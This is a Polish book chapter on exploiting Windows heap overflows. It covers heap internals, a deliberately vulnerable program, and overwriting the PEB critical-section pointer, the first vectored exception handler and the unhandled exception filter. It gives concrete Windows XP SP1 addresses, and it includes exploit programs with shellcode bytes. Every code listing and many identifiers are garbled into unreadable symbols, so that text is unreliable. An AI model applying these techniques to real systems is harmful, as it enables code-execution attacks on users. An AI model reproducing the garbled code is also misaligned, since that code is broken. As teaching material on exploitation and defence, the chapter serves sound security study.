Przepełnienia stery są co najmniej tak samo groźne jak przepełnienia stosu. Zanimprzejdziemy do ich omówienia, przypomnijmy definicję sterty. Sterta jest obszarempamięci używanym przez programy do przechowywania dynamicznie tworzonychdanych. Weźmy na przykład pod uwagę serwer Web. W momencie kompilacji jego kodunie jest znana liczba i rodzaj żądań, które będzie on musiał obsłużyć. Niektóre z nichbędą zawierać jedynie 20 bajtów, a inne 20 000 bajtów. Serwer musi poradzić sobie w obusytuacjach. Zamiast używać w tym celu bufora o stałym rozmiarze przydzielonego nastosie, może zażądać przydzielenia obszaru pamięci na stercie o rozmiarze odpowiednimdla obsługiwanego żądania. Zastosowanie stosu usprawnia zarządzanie pamięcią,umożliwiając tworzenie aplikacji, które lepiej się skalują.
Sterta procesu
Każdy proces Win32 posiada domyślną stertę określaną mianem sterty procesu. Wy-wołanie funkcji ������������ �DE zwraca uchwyt sterty procesu. Wskaźnik sterty procesuprzechowywany jest również w bloku PEB (Process Environment Block). Poniższyfragment kodu w języku asemblera zwraca wskaźnik sterty procesu w rejestrze EAX.
& ����,�� �������>-$�9$/
& ����,�� �����-���.$�#:/
Wiele funkcji Win32 używa właśnie sterty procesu.
Rozdział 8. ♦ Przepełnienia w systemie Windows 165
Sterty dynamiczne
Oprócz domyślnej sterty proces może posiadać również dowolną liczbę stert tworzo-
nych dynamicznie. Sterty dynamiczne są dostępne globalnie w obrębie danego proce-
su i tworzone przez wywołanie funkcji �� ���� ��DE.
Korzystanie ze sterty
Zanim proces może umieścić dane na stercie, musi przydzielić im pewien obszar
sterty. W tym celu wywołuje funkcję �� � ""�� ����DE, podając rozmiar żądanego ob-
szaru. Jeśli przydział zakończy się pomyślnie, funkcja zwróci wskaźnik przydzielonego
obszaru. Menedżer sterty zarządza przydziałem obszarów, wykorzystując w tym celu
odpowiednie struktur. Struktury te zawierają informacje o rozmiarze przydzielonego blo-
ku oraz wskaźniki do poprzedniego oraz następnego obszaru.
Zwykle aplikacja używa funkcji �� � ""�� ����DE, ale istnieje również wiele innych
funkcji operujących na stercie, głównie ze względu na konieczność zachowania zgod-
ności ze wcześniejszymi wersjami systemu Windows. W systemach Win16 istniały dwa
rodzaje stert: globalna sterta dostępna dla wszystkich procesów oraz lokalna sterta
każdego procesu. Win32 nadal posiada funkcje �"�( " ""��DE i =�� "# ""��DE. Jednak
w przypadku Win32 obie wymienione funkcje przydzielają obszary pamięci na do-
myślnej stercie procesu. W rzeczywistości obie funkcje delegują to zadanie do funkcji
�� � ""�� ��DE w następujący sposób:
�@����;�� �����G��"� ����������,$,��K��!
Gdy przydzielony obszar nie jest już dłużej potrzebny, proces może zwolnić go, wy-
wołując jedną z funkcji �� �+���DE, =�� "+���DE bądź �"�( "+���DE.
Więcej informacji na temat korzystania ze sterty można znaleźć w dokumentacji MSDN
na stronie http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/
memory_management_reference.asp
Jak działa sterta
Podczas gdy stos wzrasta w kierunku adresu ����������, to sterta rozbudowywana
jest w kierunku przeciwnym. Jeśli funkcja �� � ""�� �� zostanie wywołana dwukrotnie,
to za pierwszym razem zostanie przydzielony obszar o niższym adresie wirtualnym
niż podczas drugiego wywołania. W ten sposób przepełnienie pierwszego bufora mo-
że spowodować nadpisanie informacji w drugim buforze, a nie na odwrót.
Każda sterta, domyślna lub dynamiczna, rozpoczyna się od struktury, w której oprócz
innych danych znajduje się tablica +���=��� zawierająca 128 struktur =������K słu-
żących do zarządzania wolnymi blokami pamięci. Każda struktura =������K (zdefi-
niowana w I����><) zawiera dwa wskaźniki, a tablica +���=���� przesunięta jest
o ��0*? bajtów względem początku sterty. Po utworzeniu sterty struktura +���=�������
zawiera dwa wskaźniki pierwszego wolnego obszaru, który może zostać przydzielony.
166 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Pod adresem wskazywanym przez te wskaźniki znajdują się natomiast dwa wskaźniki
struktury +���=�������. Zakładając, że adres bazowy sterty wynosi ����/-����, a pierwszy
wolny blok ma adres ����/-�F??, to:
� Pod adresem ����/-�0*?#(+���=������>+"��7) znajduje się wskaźnik
posiadający wartość ����/-�F?? (adres pierwszego wolnego bloku).
� Pod adresem ����/-�0*� (+���=������>%"��7) znajduje się wskaźnik
posiadający wartość ����/-�F?? (adres pierwszego wolnego bloku).
� Pod adresem ����/-�F?? (pierwszy wolny blok) znajduje się wskaźnik
posiadający wartość ����/-�0*? (adres struktury +���=������).
� Pod adresem ����/-�F?� (pierwszy wolny blok + 4) znajduje się wskaźnik
posiadający wartość ����/-�0*? (adres struktury +���=������).
W przypadku przydziału bloku pamięci (na przykład na skutek wywołania funkcji
�" ""�� ���� � żądającego obszaru 260 bajtów) wskaźniki +���=������>+"��7
i +���=������>%"��7 zostaną zaktualizowane w taki sposób, by wskazywały następny
wolny blok, który może zostać przydzielony. Co więcej, dwa wskaźniki wskazujące
tablicę +���=��� zostaną przeniesione na koniec przydzielonego bloku. Każdy nowy
przydział lub zwolnienie bloku pamięci spowoduje aktualizację tych wskaźników.
W ten sposób przydzielone bloki utworzą dwukierunkową listę powiązaną za pomocą
wskaźników. Gdy przepełnienie bufora umieszczonego w jednym z bloków spowoduje
nadpisanie wskaźników innego bloku, to mogą one zostać użyte do nadpisania dowolnego
podwójnego słowa (!4��!) w pamięci. Może nim być na przykład wskaźnik funkcji,
co pozwoli hakerowi przejąć kontrolę nad działaniem programu. Jeśli jednak przed wy-
wołaniem tej funkcji wystąpi wyjątek, to hakerowi nie uda się przejąć sterowania.
Dlatego lepszym rozwiązaniem jest nadpisanie wskaźnika procedury obsługi wyjątków.
Zanim przejdziemy do omówienia sposobów wykorzystania przepełnień sterty do
włamań, przyjrzyjmy się związanym z tym problemom.
Poniższy program narażony jest na atak przez przepełnienie sterty.
������������ ��������������� �����
6UDF6��������� ���������� ���!���� �����I5���!
���&���������H�,����I��H�-/����D6RL��!�@L ��L�5������&�����������!�@L ��L�5������������97������!��������Q�Q����� ����� ��� H��&�Q���!�����H�S@7���������������;FG?S��!� ���H�-#/�!������$!%
Rozdział 8. ♦ Przepełnienia w systemie Windows 167
6UDF6��������� ���������� ������������ �������� ��������������!����"� �����#�!������$!%
���� �����I5�����LD=;L�#@$,�7@$!�;E6L���!
''������@����=������$,$�#$$$,$�#$$$$�!���S�����������������1������ �����������Q���!
�#@����;�� ����,��;"'X�FD'���DFY,78$�!
����������;">P�:BP�:BQ��,�#,M�#�!
((����)��K���Z������������>��������#,5���!
((6��H����� Z��������;�� �������T��)�)�[((� ��K�)T������� ������7@����;�� ����,��;"'X�FD'���DFY,78$�!������������ ��!%''���������������� �������������������� �������!%������$!%
Program najlepiej skompilować za pomocą Microsoft Visual C++ 6.0, używając po-
lecenia �"#G��#<� �>�.
Słabym punktem tego programu jest wywołanie funkcji ������DE przez funkcję ���DE.Jeśli łańcuch (8� jest dłuższy niż 260 znaków, to nadpisze on strukturę sterty. Struktura
ta posiada dwa wskaźniki, wskazujące element tablicy +���=���, który zawiera kolejną
parę wskaźników do pierwszego wolnego bloku. Gdy blok pamięci jest przydzielany
lub zwalniany, to wskaźniki te zamieniane są miejscami.
Jeśli programowi temu przekażemy argument o długości na przykład 300 bajtów (któryz kolei zostanie przekazany funkcji ���DE, wewnątrz której zachodzi przepełnienie), to
kod naruszy ochronę pamięci, wykonując następujące rozkazy podczas drugiego wy-wołania funkcji �� � ""��DE:
00187481:2$#& ��� �����-���/,���0018740#:2<:$<& ��� �����-���.</,���
168 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Chociaż rezultat ten uzyskaliśmy wywołując po raz drugi funkcję �� � ""��DE, towywołanie funkcji �� �+���DE lub �� �� ""��DE spowodowałoby ten sam efekt.Jeśli przyjrzymy się zawartości rejestrów ��� i � �, zobaczymy, że zawierają one danełańcucha, który przekazaliśmy jako parametr programu. Ponieważ nadpisaliśmy wskaź-niki znajdujące się w strukturze używanej do zarządzania stertą, a podczas kolejnegowywołania funkcji �� � ""��DE zostaną one użyte dla aktualizacji sterty, to w rezultacieuzyskamy kontrolę nad zawartością obu rejestrów. Przyjrzyjmy się poszczególnymrozkazom:
& ��� �����-���/,���
Wykonanie tego rozkazu spowoduje umieszczenie zawartości rejestru � � pod adre-sem wskazywanym przez rejestr ���. W ten sposób możemy nadpisać 32 bity znajdują-ce się w dowolnym miejscu wirtualnej przestrzeni adresowej procesu (pod warunkiem,że konfiguracja pamięci dopuszcza operację zapisu) za pomocą dowolnie wybranejprzez nas wartości 32-bitowej. Możemy wykorzystać to do nadpisania danych steru-jących działaniem programu. Jest jednak pewien problem. Przyjrzyjmy się drugiemuz rozkazów:
& ��� �����-���.</,���
Nastąpiła teraz zamiana rejestrów miejscami. Zawartość rejestru � � (której użyliśmyw poprzednim rozkazie do nadpisania wartości wskazywanej przez zawartość rejestru ���)musi równocześnie reprezentować prawidłowy adres w pamięci umożliwiającej operacjęzapisu, ponieważ drugi z rozkazów umieszcza zawartość rejestru ��� pod adresem � �$1.W przeciwnym razie nastąpi naruszenie ochrony pamięci. Jak się okazuje, sytuacjataka wcale nie działa na naszą niekorzyść, a nawet stanowi jeden z powszechniej sto-sowanych sposobów wykorzystania przepełnienia sterty. Hakerzy często nadpisująwskaźnik procedury obsługi wyjątków umieszczony w strukturze �������������� ����znajdującej się na stosie lub wskaźnik procedury Unhandled Exception Filter wartościąwskazującą blok kodu, który w momencie wystąpienia wyjątku przekaże sterowaniedo ich własnego kodu. Nawet jeśli rejestr � � wskazuje adres, pod którym możliwyjest zapis, to i tak zawartość tego rejestru jest inna niż rejestru ���, wobec czego ist-nieje znaczne prawdopodobieństwo, że funkcje niskiego poziomu zarządzające stertąi tak spowodują wyjątek. Dlatego też najłatwiejszą metodą wykorzystania przepełnie-nia stery jest nadpisanie wskaźnika procedury obsługi wyjątków.
Wykorzystanie przepełnień sterty
Wielu programistów uważa, że w przeciwieństwie do przepełnień stosu, przepełnieniasterty nie stanowią większego zagrożenia i w związku z tym dość lekkomyślnie uży-wają potencjalnie niebezpiecznych funkcji takich jak ������DE lub ���� �DE dla bufo-rów przydzielonych na stercie. Z poprzednich punktów tego rozdziału wiemy już, żenajlepszym sposobem wykorzystania przepełnień sterty w celu uruchomienia własne-go kodu jest użycie procedur obsługi wyjątków. Nadpisanie wskaźnika procedury ob-sługi wyjątków stanowi powszechnie używaną metodę. Podobnie nadpisanie wskaź-nika Unhandled Exception Filter. Zamiast zagłębiać się teraz w szczegóły obu metod(zostaną one omówione pod koniec tego punktu), przejdziemy do omówienia dwóchzupełnie nowych technik.
Rozdział 8. ♦ Przepełnienia w systemie Windows 169
Nadpisanie wskaźnika funkcjiRtlEnterCriticalSection w bloku PEB
Wcześniej omówiliśmy już strukturę bloku PEB. W tym miejscu warto przypomniećkilka najistotniejszych faktów. Zawiera ona wskaźniki szeregu funkcji, między innymi�"����������� "�������DE i �"=� A������� "�������DE. Wskaźników tych używająfunkcje �" �L8�����(=��7DEoraz �"�"� ����(=��7DE eksportowane przez ��.==>.==.Funkcje te wywoływane są przez funkcję �����������DE. Dzięki temu możemy wy-korzystać bloki PEB do wykonania dowolnego kodu, zwłaszcza podczas kończenia pra-cy procesu. Procedury obsługi wyjątków często wywołują funkcję �����������DE i należyto wykorzystać. Posiadając możliwość nadpisania dowolnej wartości dword w pamięci,możemy zmodyfikować jeden ze wspomnianych wskaźników w bloku PEB. Szczególnązaletą tej metody jest stałe położenie bloku PEB niezależnie od wersji systemu Win-dows NT i zainstalowanych pakietów serwisowych czy poprawek. Oznacza to, że in-teresujące nas wskaźniki znajdują się zawsze w tym samym miejscu.
Wskaźniki te nie są używane na platformie Windows 2003 Server (patrz omówie-nie pod koniec tego podrozdziału).
Wskaźnik funkcji �"����������� "�������DE znajduje się zawsze pod adresem��*++.+�C�. Korzystając z przepełnienia sterty, będziemy jednak posługiwać się adresem��*++.+�0�, ponieważ wskazuje go � �#$#1.
0018740#:2<:$<& ��� �����-���.</,���
Sposób działania jest bardzo prosty. Przepełniamy bufor, nadpisujemy dowolną wartośćw pamięci, wywołując wyjątek związany z naruszeniem ochrony pamięci, co w efekciedoprowadza do wywołania funkcji �����������. Pamiętajmy jednak, że pierwsząoperacją wykonaną przez nasz kod musi być przywrócenie oryginalnej wartości wskaź-nika. Wskaźnik ten może bowiem zostać użyty poza naszym kodem i jeśli jego war-tość będzie niewłaściwa, to utracimy nasz proces. W zależności od sposobu działanianaszego kodu może zachodzić również konieczność naprawienia sterty uszkodzonejprzez przepełnienie.
Naprawianie sterty ma oczywiście sens tylko wtedy, gdy nasz kod wykonuje pewneoperacje podczas kończenia działania procesu. Jak już wspomnieliśmy, sterowanietrafia do naszego kodu zwykle na skutek wywołania funkcji �����������DE przez pro-cedurę obsługi wyjątków. Technika wykorzystania naruszenia ochrony pamięci w celuskierowania sterowania do własnego kodu jest szczególnie przydatna w połączeniuz przepełnieniami sterty stosowanymi podczas ataku na programy CGI.
Przedstawiony poniżej kod ilustruje wykorzystanie naruszenia ochrony pamięci dowykonania własnego kodu. Celem włamania będzie przedstawiony wcześniej program.
������������ ��������������� �����
����H������G��;�����������I��5,����I�����!� ���������������������I�&�,����H��������!
170 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
���&����������H�������5�����-9$$/@��!����H�����������-:/@��!����H���������5�-:/@��!����H������������� ��-7$$/@��!����H�������������' �'�����&@$!����H�������������' �'F�������=�������?���� �@$!����H��������&�-:/@��!����H���������@$!
��������G�����H������������Q���!�������' �'�����&@G��;��������&����������,������&��!�������' �'F�������=�������?���� �@G��;�J�����������������,�F�������=�������?���� ���!����������' �'�����&@@$\\��J�����' �'F�������=�������?���� �@@$���������������1������ H�����������Q���!��������;������ �&�����������&Q�Q�Q�@P�:BQ��,�������' �'�����&�!��������;������ �������F�������=�������?���� �Q�@P�:BQ��,�������' �'F�������=�������?���� ��!�������5�����,�����#��!
((+ �� �Z +�J��������5� +"�3,�����T������� Z�)������&��������!�������5�����,�Q�Q�2$Q�2$Q�2$Q�2$Q�$#Q�2$Q�2$Q�8;Q�9$Q�42Q�8<Q�:3Q�$#Q�32��!����������������&�,�������' �'F�������=�������?���� ��!�������5�����,�&��!�������5�����,�Q�:2Q�<:Q�7$Q�99Q�=$Q�4$Q�8:Q�89Q�8#Q�8=Q�89Q�4<Q�43Q�4$Q�49Q�32��!����������������&�,�������' �'�����&�!�������5�����,�&��!�������5�����,�Q�11Q�6#��!
((�K���Z���������������4:���������5�����,�6666��!���..!%
((��+�A��+� ��+�A��+�F�������=�������?���� �J<�5� +�"�3�������5�����,�Q�#=Q�1$Q�16Q�0���!
((��+�A��+���������&��&�&+ ��� �Z +��������5�����,�Q�::Q�$8Q�94��!
�������5�����,�Q���!��������Q���������H����#������������� ��� ����Q���!�����&�5������!������$!%
����H������G��;�����������I��5,����I��������D6RL��@ERLL!����H�������@$!�@L ��L�5�������5�!���S��������$!
Rozdział 8. ♦ Przepełnienia w systemie Windows 171
�@G��"� �;��������,�����!���S��������$!�������!%
� ���������������������I�&�,����H�������������H�������@$!�@�!�@�7<!�@���7<!�&�-$/@�!�@�!�@���:!�@�7<!�@���7<!�&�-#/@�!�@�!�@���#8!�@�7<!�@���7<!�&�-7/@�!�@�!�@���7<!�&�-9/@�!%
Jak już wspomnieliśmy, wskaźniki te nie są używane w systemie Windows 2003 Server.
W bloku PEB na platformie Windows 2003 Server posiadają one wartość �;==. Mimo
to nadal możliwe jest przeprowadzenie podobnego ataku. Funkcja �����������DE
lub ;�< �!"�!���������+�"���DE wywołuje wiele funkcji =!�B takich jak na przykład
=!�;�"� !.""DE. Wiele funkcji =!�B posługuje się wskaźnikami funkcji. Wskaźniki te są
zwykle inicjowane przez silnik SHIM. Nie są one wykorzystywane dla zwykłych procesów.
Ten sam efekt możemy osiągnąć nadpisując wskaźnik podczas przepełnienie bufora.
Nadpisanie wskaźnika pierwszej wektoryzowanejprocedury obsługi wyjątków pod adresem 77FC3210
Wektoryzowana obsługa wyjątków wprowadzona została w systemie Windows XP.
W przeciwieństwie do tradycyjnego mechanizmu obsługi wyjątków, który przechowuje
struktury �������������� ���� na stosie, wektoryzowana obsługa wyjątków posługuje
się informacją o procedurach obsługi umieszczoną na stercie. Informacja ta przecho-
wywana jest w strukturach bardzo przypominających struktury �������������� ����.
������']�=CDF�6'�B=�"C DE'ED6���� ��&'�E���E ��!�� ��&'�"���� ��E ��!"]D 6&'���]��� ����������!%
172 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
'�������!� wskazuje następną strukturę M�����.�����������.�, '����A��8���!�poprzednią strukturę M�����.�����������.�, a '���M������!� �!"�� właściwą
procedurę obsługi wyjątków. Wskaźnik struktury M�����.�����������.�, która
zostanie użyta jako pierwsza podczas obsługi wyjątku, znajduje się pod adresem
��**+�/C0� (należy jednak pamiętać, że adres ten może się zmienić w momencie instalacji
pakietów serwisowych). Korzystając z przepełnienia sterty, możemy nadpisać ten
wskaźnik za pomocą adresu naszej własnej struktury M�����.�����������.�. Zaletątakiej techniki jest przede wszystkim to, że wektoryzowane procedury obsługi wyjątków
zostają wywołane przed tradycyjnymi procedurami obsługi wyjątków.
Przedstawiony poniżej kod (dla Windows XP Service Pack 1) odpowiedzialny jest za
przydzielenie procedury obsługi w momencie wystąpienia wyjątku:
00101<2�& ����,�� �������>-001=97#$�/00101<;<)&�00101<3<00101<;8������,-�5�J:/00101<;2�������00101<;;������ �����-���.:/00101<;6�&����,$11�00101<3$)�00101<==00101<37& ����,�� �����-���/00101<3<�&����,���00101<38)��00101<;8
Kod ten umieszcza w rejestrze ��� wskaźnik struktury M�����.�����������.� dla
pierwszej wywoływanej wektoryzowanej procedury obsługi wyjątków. Następnie wywo-
łuje funkcję wskazywaną przez ���#$#?. Wykorzystując przepełnienie sterty, możemy
przejąć kontrolę nad procesem, modyfikując wartość wskaźnika znajdującego się pod
adresem ��**+�/C0�.
Jak to osiągnąć? Najpierw musimy uzyskać wskaźnik naszego bloku przydzielonego
na stercie. Jeśli przechowuje go zmienna lokalna, dostępny jest w bieżącej ramce
stosu. Nawet jeśli wskaźnik ten przechowywany jest za pomocą zmiennej globalnej,
to i tak istnieje duża szansa, że znajduje się gdzieś na stosie odłożony jako parametr
wywołania funkcji, zwłaszcza jeśli wywołaną funkcją jest �� �+���DE (wskaźnik blo-
ku jest wtedy trzecim parametrem). Po zlokalizowaniu tego wskaźnika (załóżmy, że
znajduje się on pod adresem ����0C++-�) możemy udać, że jest on wskaźnikiem
'���M������!� �!"�� należącym do struktury M�����.�����������.� o adresie
����0C++1?. Dlatego też przepełniając adres, dostarczymy wartość ����0C++1? dla
jednego wskaźnika i wartość ��**+�/C�� dla drugiego z nich. Dzięki temu wykonanie
rozkazów
00187481:2$#& ��� �����-���/,���0018740#:2<:$<& ��� �����-���.</,���
spowoduje zapisanie wartości ��**+�/C�� (zawartość rejestru � �) pod adresem ����0C++1?
(���) oraz wartości ����0C++1? (zawartość rejestru ���) pod adresem ��**+�/C0�
(� �#$#1). W wyniku tych operacji przejęliśmy kontrolę nad wskaźnikiem pierwszej
struktury M�����.�����������.� znajdującym się pod adresem ��**+�/C0�. Dzięki
temu w momencie wystąpienia wyjątku rozkaz znajdujący się pod adresem ��**+*+1,�
umieści w rejestrze ��� wartość ����0C++1?, a chwilę później zostanie wywołana funkcja
Rozdział 8. ♦ Przepełnienia w systemie Windows 173
wskazywana przez ���#$#?. Adres tej funkcji jest adresem naszego buforu przydzie-
lonego na stercie i wobec tego zostanie następnie wykonany nasz kod. Poniżej przed-
stawiamy przykład kodu, który wykonuje opisane działania:
������������ ��������������� �����
����H������G��;�����������I��5,����I�����!� ���������������������I�&�,����H��������!
���&����������H�������5�����-9$$/@��!����H�����������-:/@��!����H���������5�-:/@��!����H������������� ��-7$$/@��!����H�������������' �'�����&@$!����H��������&�-:/@��!����H���������@$!
��������G�����H������� ������&���Q���!
�������' �'�����&@G��;��������&����������,������&��!����������' �'�����&@@$���������������1������ H����������Q���!
��������;������ �&�����������&Q�Q�Q�@P�:BQ��,�������' �'�����&�!
�������5�����,�����#��!
���������4���������5�����,�Q�2$Q�2$Q�2$Q�2$��!���..!%
((+ �� �Z +���� Z�)*�������&��������!�������5�����,�Q�2$Q�99Q�=$Q�4$Q�8:Q�89Q�8#Q�8=Q�89Q�4<Q�43Q�4$Q�49Q�32��!����������������&�,�������' �'�����&�!�������5�����,�&��!�������5�����,�Q�11Q�6#��!!
���@$!���������4:���������5�����,�6666��!���..!%
((U�+�A��+� $�001=97#$J<�$�001=97#$��K��� ��)�((��+�A��+������K�)����+����']�=CDF�6'�B=�"C DE'ED6��������5�����,�Q�$=Q�97Q�1=Q�00��!
((U�+�A��+���K�)����� ����+����']�=CDF�6'�B=�"C DE'ED6�(( �������$�$$#711<:�" ���&������&� ��T+�K ��& :((K��)��)���T��+�A��+���K�H 5�� ���^ �K��H 5�� ��((K ����������� &� ���& &�����K��K��Z����&������K&���+� ��K ����)
174 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
(( 5�Z�H���)*�+_��U��� V`�T����[�� ��� ��`� � Z [����((+ �+�����H 5�� ��������&��=K������+���������5�����,�Q�<:Q���Q�#7Q�$$��!
��������Q���������H����#������������� ��� ����Q���!�����&�5������!������$!%
����H������G��;�����������I��5,����I��������D6RL��@ERLL!����H�������@$!�@L ��L�5�������5�!���S��������$!�@G��"� �;��������,�����!���S��������$!�������!%
� ���������������������I�&�,����H�������������H�������@$!�@�!�@�7<!�@���7<!�&�-$/@�!�@�!�@���:!�@�7<!�@���7<!�&�-#/@�!�@�!�@���#8!�@�7<!�@���7<!�&�-7/@�!�@�!�@���7<!�&�-9/@�!%
Nadpisanie wskaźnika filtranieobsłużonych wyjątków
Na konferencji Blackhat Security Briefings odbywającej się w Amsterdamie w 2001roku Halvar Flake jako pierwszy zaproponował wykorzystanie filtra nieobsłużonychwyjątków. Filtr ten stosowany jest w systemie Windows w sytuacji, gdy żadna innaprocedura obsługi wyjątków nie obsłużyła bieżącego wyjątku bądź gdy żadna proce-dura obsługi wyjątków nie została zdefiniowana. Aplikacja może skonfigurować tenfiltr, korzystając z funkcji ���;�< �!"�!���������+�"���DE. Kod tej funkcji wykonujenastępujące rozkazy:
Rozdział 8. ♦ Przepełnienia w systemie Windows 175
00�0�4;#& ����,�� �����-���.</00�0�4;4& ����,�� �������>-00�6093<�/00�0�4;;& ��� �������>-00�6093<�/,���00�0�43$���<
Jak łatwo zauważyć, wskaźnik filtra nieobsłużonych wyjątków przechowywany jest
pod adresem ��**�.*/%1 — przynajmniej w przypadku systemu Windows XP Service
Pack 1. W innych systemach może to być inny adres. Aby go odnaleźć, należy prze-
analizować działanie funkcji ���;�< �!"�!���������+�"���DE.
Gdy pojawia się nieobsłużony wyjątek, to system wykonuje poniższy blok kodu:
00�29##<& ����,-00�6093</00�29##2�&����,���00�29##3)�00�29#9700�29##6�������00�29##��������
Adres filtra nieobsłużonych wyjątków zostaje załadowany do rejestru � � i procedura
zostaje wywołana. Rozkaz �8�<#�!� poprzedzający wywołanie filtra odkłada na stosie
adres struktury ����������������. Szczegół ten warto zapamiętać, ponieważ okaże
się on przydatny.
Przepełniając stertę, możemy wykorzystać filtr nieobsłużonych wyjątków w sytuacji,
gdy spowodowany wyjątek nie zostanie obsłużony. W tym celu musimy skonfiguro-
wać własny filtr nieobsłużonych wyjątków. Wskaźnik filtra możemy nadpisać adre-
sem naszego bufora, jeśli jest on łatwy do ustalenia, bądź adresem fragmentu kodu,
który przekaże sterowanie do tego bufora. Przypomnijmy w tym miejscu, że przed
wywołaniem filtra na stosie zostaje umieszczona zawartość rejestru �.�. Reprezentuje
ona adres struktury ���������������. ��*? bajtów za tym adresem, prawie pośrodku
naszego bufora, znajduje się adres, który jest wskaźnikiem końca naszego bufora.
Mimo że adres ten nie stanowi części struktury ���������������, możemy wyko-
rzystać rejestr �.�, aby sterowanie trafiło z powrotem do naszego kodu. W tym celu
musimy odnaleźć jeszcze adres w przestrzeni danego procesu, który zawiera nastę-
pujący rozkaz:
������ �����-���.$�0:/
Chociaż może wydawać się to trudnym zadaniem, to jednak istnieje kilka miejsc,
w których można odnaleźć taki rozkaz. Zależy to jednak od bibliotek załadowanych
przez proces oraz wersji systemu. Poniżej przedstawiamy kilka przykładów lokaliza-
cji tego rozkazu w systemie Windows XP Service Pack 1.
������ �����-���.$�0:/� �����$�0#�9��88-������97����/������ �����-���.$�0:/� �����$�00�955��-������97����/������ �����-���.$�0:/� �����$�00�<#�#4-������97����/������ �����-���.$�0:/� �����$�00�27�9<-����97����/������ �����-���.$�0:/� �����$�0:$4#98�-�����<����/������ �����-���.$�0:/� �����$�0:$4#<48-�����<����/
W systemie Windows 2000 pod adresem ���#$#��1� oraz ���#$#��*1 znajdujesię wskaźnik naszego bufora.
176 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Wywołania filtra nieobsłużonych wyjątków podczas pracy z programem uruchomieniowym
Każdy wyjątek zostaje przechwycony przez system i sterowanie trafia natychmiast do funkcji
:�;������������.��� ��<��DE w ��!"">!"". Funkcja ta odpowiedzialna jest za mechanizm
obsługi wyjątków. W systemie Windows XP funkcja :�;������������.��� ��<��DE wywołuje
najpierw wektoryzowane procedury obsługi wyjątków, następnie tradycyjne procedury obsługiwyjątków, a na końcu filtr nieobsłużonych wyjątków. Podobnie działa ona w systemie Win-dows 2000, który jednak nie dysponuje mechanizmem wektoryzowanych procedur obsługiwyjątków. Jeden z problemów, które napotkać można tworząc eksploit wykorzystujący przepełnie-nia sterty, polega na tym, że podczas śledzenia atakowanego programu za pomocą programuuruchomieniowego nie jest wywoływany filtr nieobsłużonych wyjątków. Jest to szczególnie irytują-ce, gdy tworzony eksploit wykorzystuje właśnie ten filtr. Istnieje jednak rozwiązanie tego problemu.
Funkcja :�;������������.��� ��<��DE wywołuje funkcję ;�< �!"�!���������+�"���DE, którasprawdza, czy proces nie jest śledzony i czy należy wywołać filtr nieobsłużonych wyjątków. W tym
celu funkcja ;�< �!"�!���������+�"���DE wywołuje funkcję jądra ��GN4H8��������' �����������, która nadaje zmiennej na stosie wartość ��++++++++, jeśli wykonanie procesu jest
śledzone. Gdy funkcja ��GN4H8��������' �����������#zwróci sterowanie, to wartość tej zmiennej
porównywana jest z wyzerowanym rejestrem. Jeśli wartości są takie same, wywoływany jestfiltr nieobsłużonych wyjątków. W przeciwnym razie filtr nie jest wywoływany. Jeśli chcemy, abyfiltr został wywołany podczas śledzenia programu, to powinniśmy zastawić pułapkę na rozka-zie dokonującym porównania. Gdy sterowanie programu dotrze do pułapki, należy zmienić war-
tość zmiennej z ��++++++++ na ���������� i kontynuować śledzenie programu. Dzięki temu
filtr nieobsłużonych wyjątków zostanie wywołany.
Rozdział 8. ♦ Przepełnienia w systemie Windows 177
Na rysunku na poprzedniej stronie przedstawiony został kod wykonywany przez funkcję ;�< �!"�)!���������+�"��� w systemie Windows XP Service Pack 1. W tym przypadku należy zastawić
pułapkę pod adresem ��**�,/0�% i poczekać na pojawienie się wyjątku. Po osiągnięciu pułapki
należy zapisać wartość ���������� pod adresem ��%�)C�<� i wtedy zostanie wywołany filtr
nieobsłużonych wyjątków.
Jeśli nadpiszemy wskaźnik filtra nieobsłużonych wyjątków jednym z przedstawionychwyżej adresów, to w przypadku wystąpienia nieobsłużonego wyjątku zostanie wykonany
rozkaz, który przekaże sterowanie do naszego bufora. Należy przy tym pamiętać, że filtrnieobsłużonych wyjątków wywoływany jest wyłącznie wtedy, gdy program wykonywany
jest w zwykłym trybie, a nie w trybie uruchomieniowym. W ramce wyjaśnione zo-
stało, jak poradzić sobie z tym problemem.
Aby zademonstrować wykorzystanie filtra nieobsłużonych wyjątków podczas włama-nia metodą przepełnienia sterty, musimy zmodyfikować przykład atakowanego pro-
gramu w taki sposób, by nie zawierał on procedury obsługi wyjątków. Jeśli bowiem
wyjątek zostanie obsłużony, to filtr nie będzie wywołany.
������������ ��������������� �����
���� �����I5���!
���&���������H�,����I��H�-/����D6RL��!�@L ��L�5������&�����������!�@L ��L�5������������97������!��������Q�Q����� ����� ��� H��&�Q���!�����H�S@7���������������;FG?S��!� ���H�-#/�!������$!%
���� �����I5�����LD=;L�#@$,�7@$!�;E6L���!
��@����=������$,$�#$$$,$�#$$$$�!���S�����������������1������ �����������Q���!�#@����;�� ����,��;"'X�FD'���DFY,78$�!����������;">P�:BP�:BQ��,�#,M�#�!
������������������������������ �������������������������#,5���!
((���� �������K�)&�)�&�� ��K�����H��H ��� Z��������;�� ��7@����;�� ����,��;"'X�FD'���DFY,78$�!������������ ��!������$!%
178 Część II ♦ Włamania na platformach Windows, Solaris i Tru64
Włamania dokonuje następny z przedstawionych programów. Nadpisuje on strukturęzwiązaną z zarządzaniem stertą dwoma wskaźnikami. Pierwszy z nich wskazuje filtrnieobsłużonych wyjątków o adresie ��**�.*/%1, a drugi rozkaz � ""#!4��!#�����!�$��*?�znajdujący się w kodzie biblioteki ��� ��/C>!"" pod adresem ��**�/%% .. Gdy atakowa-ny program drugi raz wywoła funkcję �� � ""��DE, to wystąpi wyjątek, który nie zo-stanie obsłużony i trafi do naszego filtra, wskutek czego sterowanie zostanie prze-kazane z powrotem do naszego bufora. Zwróćmy uwagę na rozkaz krótkiego skokuumieszczony w buforze tam, gdzie wskazuje �.�#$#��*?. Służy on ominięciu koduzwiązanego z zarządzaniem stertą.
������������ ��������������� �����
����H������G��;�����������I��5,����I�����!� ���������������������I�&�,����H��������!
���&����������H�������5�����-#$$$/@��!����H�����������-:/@��!����H���������5�-:/@��!����H������������� ��-7$$/@��!����H�������������' �'�����&@$!����H��������&�-:/@��!����H�������@$!������@$!
